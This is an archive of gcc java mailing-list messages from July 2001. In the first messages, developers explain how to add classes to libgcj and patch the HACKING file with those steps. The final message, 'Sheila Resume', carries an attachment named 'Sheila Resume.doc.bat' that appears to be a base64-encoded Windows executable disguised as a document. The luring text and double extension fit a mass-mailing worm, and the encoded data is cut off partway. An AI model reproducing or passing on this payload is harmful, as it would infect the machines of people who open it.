Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id KAA21850; Sun, 22 Jul 2001 10:28:05 -0600 To: Mark Wielaard Cc: Nic Ferrier , java@gcc.gnu.org Subject: Re: Adding new classes References: <20010722121925.B8075@klomp.org> X-Zippy: Does that mean I'm not a well-adjusted person?? X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 22 Jul 2001 10:28:03 -0600 In-Reply-To: Mark Wielaard's message of "Sun, 22 Jul 2001 12:19:25 +0200" Message-ID: <874rs5q67g.fsf@creche.redhat.com> Lines: 18 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Mark" == Mark Wielaard writes: Mark> The ChangeLog comment 'Rebuild CNI namespace' seems to imply Mark> that this can be done by some automatic process, but I don't Mark> know what that process is. You only need to do this if you add a class to java.lang, java.io, or java.util (including sub-packages, like java.lang.ref). * Edit gcj/javaprims.h * Go to the `namespace java' line, and delete that entire block (the entire contents of the namespace) * Then insert the output of `perl ../scripts/classes.pl' into the file at that point. Tom From java-return-6561-listarch-java=gcc.gnu.org@gcc.gnu.org Sun Jul 22 16:07:39 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 10016 invoked by alias); 22 Jul 2001 16:07:39 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 9982 invoked from network); 22 Jul 2001 16:07:38 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 22 Jul 2001 16:07:38 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA10727; Sun, 22 Jul 2001 10:07:36 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id KAA21879; Sun, 22 Jul 2001 10:33:22 -0600 To: "Nic Ferrier" Cc: java@gcc.gnu.org Subject: Re: Adding new classes References: X-Zippy: Half a mind is a terrible thing to waste! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 22 Jul 2001 10:33:22 -0600 In-Reply-To: "Nic Ferrier"'s message of "Sun, 22 Jul 2001 03:43:04 +0100" Message-ID: <871yn8rkj1.fsf@creche.redhat.com> Lines: 29 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Nic" == Nic Ferrier writes: Nic> Can someone give me a brief overview of how I add a class to GCJ's Nic> library implementation? Mark covered it, but just for the record: * Add the source file to the appropriate line in libjava/Makefile.am. The "appropriate" line depends on the package that the class is in. Generally it should be obvious by looking through Makefile.am. If it isn't, tell me and I will add a comment clarifying the organization. * Run automake in libjava. See HACKING for more info. (I think this automake version is also on ftp at sources.redhat.com in pub/java, but I'm not certain.) * If the file is in java.lang, java.io, or java.util (including subpackages), re-run scripts/classes.pl to update the javaprims.h header. I think that's it. If you're generating a patch there is a program you can get to do an offline `cvs add' (it will fake an `add' if you don't have write permission yet). Then you can use `cvs diff -N' to generate the patch. See http://www.red-bean.com/cvsutils/ Tom From java-return-6562-listarch-java=gcc.gnu.org@gcc.gnu.org Sun Jul 22 23:14:38 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 19217 invoked by alias); 22 Jul 2001 23:14:35 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 19177 invoked from network); 22 Jul 2001 23:14:34 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by sourceware.cygnus.com with SMTP; 22 Jul 2001 23:14:34 -0000 Received: from mark by nescio.wildebeest.org with local (Exim 3.22 #1 (Debian)) id 15OSQX-0006RI-00; Mon, 23 Jul 2001 01:14:21 +0200 Date: Mon, 23 Jul 2001 01:14:21 +0200 From: Mark Wielaard To: java-patches@gcc.gnu.org Cc: java@gcc.gnu.org Subject: Adding 'Adding new classes' to HACKING Message-ID: <20010723011420.A23526@klomp.org> References: <20010722121925.B8075@klomp.org> <874rs5q67g.fsf@creche.redhat.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="EeQfGwPcQSOJBaQU" Content-Disposition: inline In-Reply-To: <874rs5q67g.fsf@creche.redhat.com> User-Agent: Mutt/1.3.18i --EeQfGwPcQSOJBaQU Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, On Sun, Jul 22, 2001 at 10:28:03AM -0600, Tom Tromey wrote: > > You only need to do this if you add a class to java.lang, java.io, or > java.util (including sub-packages, like java.lang.ref). > > * Edit gcj/javaprims.h > > * Go to the `namespace java' line, and delete that entire block (the > entire contents of the namespace) > > * Then insert the output of `perl ../scripts/classes.pl' into the file > at that point. Thanks, this was indeed what was blocking me. I would like to add it to the HACKING file. 2001-07-23 Mark Wielaard * HACKING: add description on updating namespace I also noticed that this file only exists on the main branch, may I also add it to the gcc-3_0-branch? Is there a reason to do it this way for the java.lang, java.io and java.util (sub)packages, but not for the other packages? Cheers, Mark -- Stuff to read: What's Wrong with Copy Protection, by John Gilmore --EeQfGwPcQSOJBaQU Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="HACKING.diff" Index: HACKING =================================================================== RCS file: /cvs/gcc/gcc/libjava/HACKING,v retrieving revision 1.1 diff -u -r1.1 HACKING --- HACKING 2001/02/17 14:24:41 1.1 +++ HACKING 2001/07/22 23:03:51 @@ -44,3 +44,20 @@ files to the Makefile.am, then just type "automake" and it will regenerate the Makefile.in. Easy! +Tom Tromey adds: +If you add a class to java.lang, java.io, or java.util +(including sub-packages, like java.lang.ref). + +* Edit gcj/javaprims.h + +* Go to the `namespace java' line, and delete that entire block (the + entire contents of the namespace) + +* Then insert the output of `perl ../scripts/classes.pl' into the file + at that point. + +If you're generating a patch there is a program you can get to do an +offline `cvs add' (it will fake an `add' if you don't have write +permission yet). Then you can use `cvs diff -N' to generate the +patch. See http://www.red-bean.com/cvsutils/ + --EeQfGwPcQSOJBaQU-- From java-return-6563-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 23 00:53:39 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 6224 invoked by alias); 23 Jul 2001 00:53:38 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 6177 invoked from network); 23 Jul 2001 00:53:28 -0000 Received: from unknown (HELO eagle.sasktel.net) (142.165.19.3) by sourceware.cygnus.com with SMTP; 23 Jul 2001 00:53:28 -0000 Received: from home.mshome.net (hsdb-regn-132-36.sasknet.sk.ca [142.165.132.36]) by eagle.sasktel.net (iPlanet Messaging Server 5.1 (built May 7 2001)) with SMTP id <0GGW003PFIAEK6@eagle.sasktel.net> for java@gcc.gnu.org; Sun, 22 Jul 2001 18:52:50 -0600 (GMT) Date: Sun, 22 Jul 2001 18:50:43 -0600 From: al valente Subject: Sheila Resume To: java@gcc.gnu.org Message-id: <0GGW003PHIALK6@eagle.sasktel.net> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook Express 5.50.4133.2400 Content-type: multipart/mixed; boundary="Boundary_(ID_OjvsFPXtWViT6brjbFw1dg)" --Boundary_(ID_OjvsFPXtWViT6brjbFw1dg) Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: 7BIT Content-disposition: messagetext Hi! How are you? I send you this file in order to have your advice See you later. Thanks --Boundary_(ID_OjvsFPXtWViT6brjbFw1dg) Content-type: application/mixed; name="Sheila Resume.doc.bat" Content-transfer-encoding: base64 Content-disposition: attachment; filename="Sheila Resume.doc.bat" TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5k ZXIgV2luMzINCiQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQgAGV5CKgAA AAAAAAAA4ACOgQsBAhkAqAEAAGwAAAAAAACkqQEAABAAAADAAQAAAEAAABAAAAACAAABAAAA AAAAAAQAAAAAAAAAAIACAAAEAAAAAAAAAgAAAAAAEAAAQAAAAAAQAAAQAAAAAAAAEAAAAAAA AAAAAAAAAPABAK4RAAAAYAIAABgAAAAAAAAAAAAAAAAAAAAAAAAAMAIAOCAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAgAgAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAQ09ERQAAAACQpwEAABAAAACoAQAABAAAAAAAAAAAAAAAAAAA IAAAYERBVEEAAAAAlBwAAADAAQAAHgAAAKwBAAAAAAAAAAAAAAAAAEAAAMBCU1MAAAAAACUP AAAA4AEAAAAAAADKAQAAAAAAAAAAAAAAAAAAAADALmlkYXRhAACuEQAAAPABAAASAAAAygEA AAAAAAAAAAAAAAAAQAAAwC50bHMAAAAADAAAAAAQAgAAAAAAANwBAAAAAAAAAAAAAAAAAAAA AMAucmRhdGEAABgAAAAAIAIAAAIAAADcAQAAAAAAAAAAAAAAAABAAABQLnJlbG9jAAA4IAAA ADACAAAiAAAA3gEAAAAAAAAAAAAAAAAAQAAAUC5yc3JjAAAAABgAAABgAgAAGAAAAAACAAAA AAAAAAAAAAAAAEAAAFAAAAAAAAAAAAAAAAAAgAIAAAAAAAAYAgAAAAAAAAAAAAAAAABAAABQ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQQ QAAKBlN0cmluZ1gQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWBBAAAQAAAAAAAAA oCxAAKwsQACwLEAAtCxAAKgsQABwK0AAhCtAAMwrQAAHVE9iamVjdGQQQAAHB1RPYmplY3RY EEAAAAAAAAAABlN5c3RlbQAAhBBAAA8ISVVua25vd24AAAAAAQAAAAAAAAAAwAAAAAAAAEYG U3lzdGVtAAD/JbjxQQCLwP8ltPFBAIvA/yWw8UEAi8D/JazxQQCLwP8lqPFBAIvA/yWk8UEA i8D/JaDxQQCLwP8lnPFBAIvA/yWY8UEAi8D/JZTxQQCLwP8lkPFBAIvA/yWM8UEAi8D/JYjx QQCLwP8lzPFBAIvA/yWE8UEAi8D/JcjxQQCLwP8lgPFBAIvA/yV88UEAi8D/JXjxQQCLwP8l dPFBAIvA/yVw8UEAi8D/JWzxQQCLwP8laPFBAIvA/yVk8UEAi8D/JWDxQQCLwP8lXPFBAIvA /yVY8UEAi8D/JVTxQQCLwP8lxPFBAIvA/yVQ8UEAi8D/JUzxQQCLwP8lSPFBAIvA/yVE8UEA i8D/JdzxQQCLwP8l2PFBAIvA/yXU8UEAi8D/JUDxQQCLwP8lPPFBAIvA/yX88UEAi8D/Jfjx QQCLwP8l9PFBAIvA/yXw8UEAi8D/JezxQQCLwP8l6PFBAIvA/yXk8UEAi8BTg8S8uwoAAABU 6FH////2RCQsAXQFD7dcJDCLw4PERFvDi8D/JTjxQQCLwP8lNPFBAIvA/yUw8UEAi8D/JSzx QQCLwP8lKPFBAIvA/yUk8UEAi8D/JSDxQQCLwP8lHPFBAIvAU1a+TORBAIM+AHU6aEQGAABq AOio////i8iFyXUFM8BeW8OhSORBAIkBiQ1I5EEAM9KLwgPAjUTBBIseiRiJBkKD+mR17IsG ixCJFl5bw5CJAIlABMOLwFNWi/KL2Oid////hcB1BTPAXlvDixaJUAiLVgSJUAyLE4kQiVgE iUIEiQOwAV5bw4tQBIsIiQqJUQSLFUzkQQCJEKNM5EEAw1NWV1VRi/GJFCSL6ItdAIsEJIsQ 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 